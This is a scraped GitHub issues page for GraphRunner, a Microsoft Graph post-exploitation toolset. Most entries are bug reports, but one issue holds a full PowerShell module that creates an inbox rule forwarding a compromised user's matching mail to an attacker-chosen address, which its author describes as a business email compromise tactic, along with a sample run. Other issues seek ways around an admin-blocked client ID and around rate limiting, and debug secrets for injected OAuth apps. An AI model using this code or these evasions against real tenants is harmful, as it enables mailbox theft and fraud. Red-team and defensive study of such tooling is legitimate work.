dafthack / graphrunner Goto Github PK
View Code? Open in Web Editor NEWA Post-exploitation Toolset for Interacting with the Microsoft Graph API
License: MIT License
A Post-exploitation Toolset for Interacting with the Microsoft Graph API
License: MIT License
Hi Team,
May I know if this script can be executed using the Global Reader role or must be a Global Administrator?
Thank you,
Feature Request:
The ability to run Get-UpdatebleGroups on only specific groups that have say a key word "test" or "admin", etc. May not be a big deal as most people may only want to test against all, but if wanting to target a specific groups in a large organization with over 100k groups, this may be helpful in that regard.
Thanks for considering
Within $refreshbody on line 418 of GraphRunner.ps1, the "client_id" is not set to the $ClientID parameter. It is instead set to a static value. This throws an error if the refreshToken uses a different ClientID than the static value and you attempt setting the ClientID parameter when using Invoke-RefreshGraphTokens.
Current:
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
Recommendation:
"client_id" = $ClientID
https://github.com/dafthack/GraphRunner/blob/main/GraphRunner.ps1#L418
Hey!
Is we use any other ClientID "d3590ed6-52b3-4102-aeff-aad2292ab01c", we can use to perform all the actions? In my case clientid d3590ed6-52b3-4102-aeff-aad2292ab01c (Microsoft office) is blocked by admin.
I tryed powershell client id its working but only few module, teams,mailbox,sharepoint etc.. not working.
Please suggest any alternative client id.
Thank You
According to the name, Get-SecurityGroups
should only return security groups. However, it currently returns all Entra ID groups.
This is because the group filter is incorrectly applied in the code:
$graphApiUrl = "https://graph.microsoft.com/v1.0"
$groupsUrl = "$graphApiUrl/groups?$filter=securityEnabled eq true"
Because $filter
is not escaped, it is treated as a variable expansion and replaced with the empty string at runtime. The resulting URL is https://graph.microsoft.com/v1.0/groups?=securityEnabled eq true
, which does not filter the results.
Hey!
I'm working on adding a module to GraphRunner for adding an email inbox rule. This is a common tactic used during business email compromise.
How do you specify the scope of permissions used when calling the Get-GraphToken function? Creating an inbox rule requires MailboxSettings.ReadWrite permissions so I'd imagine we need to get an access token with those permissions to perform the POST to create the inbox rule.
I see some mentions of scope in the Invoke-InjectOAuthApp function but I don't see much in the Get-GraphToken function.
For reference, here's my working POC. The POST goes through but I'm left with "403 Forbidden" after using the Get-Token module to get the access token. I can create the rule using Graph Explorer so I know it's not an account permissions issue
Function Invoke-CreateInboxRule {
<#
.SYNOPSIS
This module uses the Graph API to create an inbox forwarding rule. This is common in BEC scenarios.
Author: HuskyHacks (@HuskyHacksMK)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
.PARAMETER Tokens
Token object for auth
.PARAMETER RuleTerm
The term you want to use as a matching rule for forwarding email.
.PARAMETER RuleName
The name for this rule.
.PARAMETER ForwardEmailAddress
The email address where you want to send your emails.
.PARAMETER ForwardEmailName
The name of the email address account where you want to send your emails.
.PARAMETER UserId
The user ID for the user where you want to create the inbox rule.
.EXAMPLE
C:\PS>
-----------
#>
param(
[Parameter(Position = 0, Mandatory = $false)]
[object[]]
$Tokens = "",
[Parameter(Position = 1, Mandatory = $true)]
[string]
$RuleTerm = "",
[Parameter(Position = 2, Mandatory = $true)]
[string]
$RuleName = "",
[Parameter(Position = 3, Mandatory = $true)]
[string]
$EmailAddressName = "",
[Parameter(Position = 4, Mandatory = $true)]
[string]
$EmailAddress = "",
[Parameter(Position = 5, Mandatory = $true)]
[string]
$UserId = "",
[string]
$DetectorName = "Custom",
[switch]
$GraphRun,
[switch]
$PageResults
)
if ($Tokens) {
if (!$GraphRun) {
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
}
}
else {
# Login
Write-Host -ForegroundColor yellow "[*] First, you need to login."
Write-Host -ForegroundColor yellow "[*] If you already have tokens you can use the -Tokens parameter to pass them to this function."
while ($auth -notlike "Yes") {
Write-Host -ForegroundColor cyan "[*] Do you want to authenticate now (yes/no)?"
$answer = Read-Host
$answer = $answer.ToLower()
if ($answer -eq "yes" -or $answer -eq "y") {
Write-Host -ForegroundColor yellow "[*] Running Get-GraphTokens now..."
$tokens = Get-GraphTokens -ExternalCall
$auth = "Yes"
}
elseif ($answer -eq "no" -or $answer -eq "n") {
Write-Host -ForegroundColor Yellow "[*] Quitting..."
return
}
else {
Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
}
}
}
$access_token = $tokens.access_token
[string]$refresh_token = $tokens.refresh_token
#$endpoint = "/users/{0}/mailFolders/inbox/messageRules" -f $userId
$endpoint = "/me/mailFolders/inbox/messageRules"
$graphApiUrl = "https://graph.microsoft.com/v1.0/{0}" -f $endpoint
# Define the headers with the access token and content type
$headers = @{
"Authorization" = "Bearer $access_token"
"Content-Type" = "application/json"
}
$data = @{
displayName = $RuleName
sequence = 2
isEnabled = $true
conditions = @{
subjectContains = @(
$RuleTerm
)
}
actions = @{
forwardTo = @(
@{
emailAddress = @{
name = $EmailAddressName
address = $EmailAddress
}
}
)
stopProcessingRules = $true
}
}
# Convert the hashtable to a JSON string
$jsonData = $data | ConvertTo-Json -Depth 4
try {
$response = Invoke-RestMethod -Uri $graphApiUrl -Headers $headers -Method Post -Body $jsonData
Write-Output $response
}
catch {
Write-Error $_.Exception.Message
Write-Error $_.ErrorDetails.Message # This might give more specific details from Graph API
}
}
edit: the specific error output
PS /home/husky/GraphRunner> Invoke-CreateInboxRule -Tokens $tokens -EmailAddressName husky -RuleTerm salary -RuleName salary -EmailAddress [email protected] -UserId "[user to compromise]"
[*] Using the provided access tokens.
Invoke-CreateInboxRule: Response status code does not indicate success: 403 (Forbidden).
Invoke-CreateInboxRule: {"error":{"code":"ErrorAccessDenied","message":"Access is denied. Check credentials and try again."}}
Heyho!
I noticed for larger organizations the tool will be throttled heavily.
Sometimes there will be the message being throttled (sleep 5 seconds), but often it will just skip over the current check with the server response:
Invoke-WebRequest : The remote server returned an error: (429).
too many requests.
Would it be feasible to integrate Fireprox or do you think it makes no sense as there are too many different endpoint URLs?
Is there already something to throttle automatically also in the "getting users" part?
Speaking about 40-50k users :)
After Invoke-SearchMailbox retrieved the emails, when you want to download the content the download fail.
I have found the issue and fixed it. It was because the ID used in the request was URL encoded and '-' were replaced with '/'. But when taking direclty the id and not extracting it from the provided URL in the response, you can download everything and it work again.
There is an issue to retrieve an access token with the Invoke-AutoOAuthFlow cmdlet by an application created by Invoke-InjectOAuthApp.
The request sent by Invoke-InjectOAuthApp to https://login.microsoftonline.com/common/oauth2/v2.0/token is getting back a 401 status code with this error message The provided client secret keys for app '<redacted>' are expired.
So to investigate I have create manually a new secret with the web interface of azure, then I reattempt the login (with the URL provided by Invoke-InjectOAuthApp at creation) and intercepted the request to https://login.microsoftonline.com/common/oauth2/v2.0/token sent by Invoke-AutoOAuthFlow.
On the intercepted request I have modified the secret to put my new one, and what was surprising is that at first it does not worked either and got the same error message.
But sent it to Burp repeater and after submitting it a few times it has worked.
Then I retried many time to understand why the same request could fail first and success another time and I could not figure out a pattern.
But during my retries, what is sure is that with the first secret it was impossible to get it work and with my second secret (created manually) sometimes it worked sometimes not.
A first patch would be to send request to https://login.microsoftonline.com/common/oauth2/v2.0/token in a loop until the access and refresh token are sent back (and not fail directly after first error).
But it does not help to understand why the first secret never worked. I thought it was because 1 year of expiration is too long, but I have manually created a secret of 1 year and it work. What is very strange also is that when you create a secret using the web interface the request sent to graph API is on the same endpoint as the one sent by GraphRunner to create the first secret.
I also found that it could be because secret is created without any display name (but it's not the case, I have added a display name to the secret created with Invoke-InjectOAuthApp and nothing changed)
Do you have any idea where this come from ?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.